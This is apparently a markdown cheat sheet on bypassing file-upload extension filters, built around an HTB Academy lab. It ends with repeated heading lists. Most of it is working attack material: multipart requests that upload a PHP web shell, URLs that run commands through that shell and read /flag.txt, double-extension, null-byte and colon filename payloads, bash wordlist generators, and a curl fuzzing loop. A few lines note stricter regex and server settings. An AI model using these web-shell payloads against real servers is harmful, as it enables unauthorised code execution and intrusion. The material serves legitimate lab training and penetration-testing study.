Basic Bypass Techniques

��️ Filter Evasion: Essential methods to bypass upload restrictions and execute malicious files

Overview

Upload filters come in two main types: blacklists (deny specific extensions) and whitelists (allow only specific extensions). Whitelists are generally more secure than blacklists, but both can be bypassed with proper techniques.

Use Cases:

Blacklist - File managers allowing wide variety of file types
Whitelist - Upload functionality with limited allowed file types
Combined - Both used in tandem for enhanced security

Whitelist Filters

🎯 More Secure: Only specified extensions are allowed, but still vulnerable to bypass techniques

Understanding Whitelist Validation

Example PHP Whitelist Test:

$fileName = basename($_FILES["uploadFile"]["name"]);

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}

⚠️ Vulnerability: The regex only checks if the filename contains the extension, not if it ends with it.

Fuzzing Whitelisted Extensions

Test with extension wordlist:

# Use Burp Intruder with common extensions
# Result: All PHP variations blocked (.php, .php5, .php7, .phtml)
# Some non-PHP extensions may be allowed

Expected Response:

"Only images are allowed" - for blocked extensions
HTTP 200 + upload success - for allowed extensions

Double Extensions

🔄 Classic Bypass: Add allowed extension while keeping malicious extension

Double Extension Technique

Concept: If .jpg is allowed, use shell.jpg.php to:

Pass whitelist test - contains .jpg extension
Execute as PHP - ends with .php extension

Implementation:

# Original filename: shell.php
# Bypass filename: shell.jpg.php
# Content: <?php system($_REQUEST['cmd']); ?>

Burp Suite Request:

POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary

------boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.jpg.php"
Content-Type: image/jpeg

<?php system($_REQUEST['cmd']); ?>
------boundary--

Testing Execution:

# Access: http://SERVER_IP:PORT/profile_images/shell.jpg.php?cmd=id
# Expected: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Strict Regex Patterns

More Secure Implementation:

if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
    // Uses $ at the end to match only final extension
}

This pattern blocks: shell.jpg.php (doesn't end with image extension)

Reverse Double Extension

🔄 Server Misconfiguration: Exploit web server configuration weaknesses

Web Server Configuration Vulnerability

Apache PHP Configuration (`/etc/apache2/mods-enabled/php7.4.conf`):

<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

⚠️ Vulnerability: Missing `$` at the end allows any file containing PHP extensions to execute.

Reverse Double Extension Attack

Technique: Use `shell.php.jpg` to:

Pass strict whitelist - ends with `.jpg`
Execute as PHP - contains `.php` in filename

Implementation:

# Filename: shell.php.jpg
# Whitelist check: PASS (ends with .jpg)
# PHP execution: SUCCESS (contains .php)

Burp Suite Request:

POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary

------boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.php.jpg"
Content-Type: image/jpeg

<?php system($_REQUEST['cmd']); ?>
------boundary--

Testing Execution:

# Access: http://SERVER_IP:PORT/profile_images/shell.php.jpg?cmd=id
# Expected: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Character Injection

💉 Advanced Bypass: Inject special characters to manipulate filename interpretation

Character Injection Techniques

Injectable Characters:

`%20` - Space character
`%0a` - Line Feed (LF)
`%00` - Null byte (PHP ≤ 5.X)
`%0d0a` - Carriage Return + Line Feed (CRLF)
`/` - Forward slash
`.\` - Backslash with dot
`.` - Dot
`…` - Horizontal ellipsis
`:` - Colon (Windows)

Null Byte Injection

Classic PHP ≤ 5.X Bypass:

# Filename: shell.php%00.jpg
# PHP interpretation: shell.php (stops at %00)
# Whitelist check: PASS (sees .jpg extension)

Windows Colon Injection

Windows-specific bypass:

# Filename: shell.aspx:.jpg
# Windows interpretation: shell.aspx (ignores :)
# Whitelist check: PASS (sees .jpg extension)

Character Injection Wordlist Generator

Automated Permutation Script:

#!/bin/bash
# Generate all character injection permutations

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\\\' '.' '…' ':'; do
    for ext in '.php' '.phps' '.phtml' '.php3' '.php4' '.php5'; do
        echo "shell\$char\$ext.jpg" >> wordlist.txt
        echo "shell\$ext\$char.jpg" >> wordlist.txt
        echo "shell.jpg\$char\$ext" >> wordlist.txt
        echo "shell.jpg\$ext\$char" >> wordlist.txt
    done
done

Enhanced Script with More Extensions:

#!/bin/bash
# Comprehensive character injection wordlist

# Characters to inject
chars=('%20' '%0a' '%00' '%0d0a' '/' '.\\\\' '.' '…' ':' '%09' '%0b' '%0c')

# PHP extensions
php_exts=('.php' '.phps' '.phtml' '.php3' '.php4' '.php5' '.php7' '.phar')

# Allowed extensions  
allowed_exts=('.jpg' '.jpeg' '.png' '.gif' '.bmp' '.ico')

for char in "\${chars[@]}"; do
    for php_ext in "\${php_exts[@]}"; do
        for allowed_ext in "\${allowed_exts[@]}"; do
            # Before PHP extension
            echo "shell\$char\$php_ext\$allowed_ext" >> char_injection_wordlist.txt
            # After PHP extension
            echo "shell\$php_ext\$char\$allowed_ext" >> char_injection_wordlist.txt
            # Before allowed extension
            echo "shell\$allowed_ext\$char\$php_ext" >> char_injection_wordlist.txt
            # After allowed extension
            echo "shell\$allowed_ext\$php_ext\$char" >> char_injection_wordlist.txt
        done
    done
done

echo "Generated \$(wc -l < char_injection_wordlist.txt) filename permutations"

Burp Suite Fuzzing Setup

Intruder Configuration:

Intercept upload request
Set payload position in filename
Load character injection wordlist
Disable URL encoding in payload processing
Run attack and analyze responses

Payload Position:

Content-Disposition: form-data; name="uploadFile"; filename="§wordlist_payload§"

HTB Academy Lab Solution

Lab Information

Objective: Bypass blacklist and whitelist to upload PHP script
Target: Read `/flag.txt` using uploaded shell
Techniques: Double extensions, character injection

Step-by-Step Walkthrough

Step 1: Reconnaissance

# Test basic PHP upload
filename="shell.php" → BLOCKED

# Test image upload  
filename="test.jpg" → SUCCESS

# Confirms whitelist filtering

Step 2: Double Extension Bypass

# Test: shell.jpg.php
# Whitelist: PASS (contains .jpg)
# Execution: SUCCESS (ends with .php)

Step 3: Upload Web Shell

POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary

------boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.jpg.php"
Content-Type: image/jpeg

<?php system(\$_REQUEST['cmd']); ?>
------boundary--

Step 4: Execute Commands

# Test execution
http://TARGET/uploads/shell.jpg.php?cmd=id

# Read flag
http://TARGET/uploads/shell.jpg.php?cmd=cat /flag.txt

Step 5: Alternative Methods (if needed)

# Try reverse double extension
filename="shell.php.jpg"

# Try character injection
filename="shell.php%00.jpg"
filename="shell.php%20.jpg"  
filename="shell.aspx:.jpg"

Expected Flag Format

HTB{...}

Bypass Methodology

Systematic Testing Approach

1. Baseline Testing:

# Test allowed extensions
.jpg, .jpeg, .png, .gif → SUCCESS
.php, .phtml, .php5 → BLOCKED

2. Double Extension Testing:

shell.jpg.php
shell.png.php  
shell.gif.phtml

3. Reverse Double Extension:

shell.php.jpg
shell.phtml.png
shell.php5.gif

4. Character Injection:

shell.php%00.jpg
shell.php%20.jpg
shell.aspx:.jpg

5. Web Server Specific:

# IIS
shell.asp;.jpg
shell.aspx;.png

# Apache
shell.php/.jpg
shell.phtml\\\\.png

Response Analysis

Success Indicators:

HTTP 200 status code
Upload confirmation message
File accessible via direct URL
Command execution works

Failure Indicators:

HTTP 403/406 status codes
"Only images allowed" messages
File not accessible
No command execution

Tools for Testing

Burp Suite Intruder:

Load bypass wordlists
Disable URL encoding
Analyze response patterns
Filter successful uploads

Custom Fuzzing Scripts:

#!/bin/bash
# Test double extensions
for ext in php phtml php3 php4 php5; do
    curl -X POST -F "file=@shell.\$ext.jpg" http://target/upload.php
done

This comprehensive guide covers all essential bypass techniques for defeating upload filters, providing both theoretical understanding and practical implementation methods for successful exploitation.

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Basic Bypass Techniques

Overview

Whitelist Filters

Understanding Whitelist Validation

Fuzzing Whitelisted Extensions

Double Extensions

Double Extension Technique

Strict Regex Patterns

Reverse Double Extension

Web Server Configuration Vulnerability

Reverse Double Extension Attack

Character Injection

Character Injection Techniques

Null Byte Injection

Windows Colon Injection

Character Injection Wordlist Generator

Burp Suite Fuzzing Setup

HTB Academy Lab Solution

Lab Information

Step-by-Step Walkthrough

Expected Flag Format

Bypass Methodology

Systematic Testing Approach

Response Analysis

Tools for Testing

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File metadata and controls

Basic Bypass Techniques

Overview

Whitelist Filters

Understanding Whitelist Validation

Fuzzing Whitelisted Extensions

Double Extensions

Double Extension Technique

Strict Regex Patterns

Reverse Double Extension

Web Server Configuration Vulnerability

Reverse Double Extension Attack

Character Injection

Character Injection Techniques

Null Byte Injection

Windows Colon Injection

Character Injection Wordlist Generator

Burp Suite Fuzzing Setup

HTB Academy Lab Solution

Lab Information

Step-by-Step Walkthrough

Expected Flag Format

Bypass Methodology

Systematic Testing Approach

Response Analysis

Tools for Testing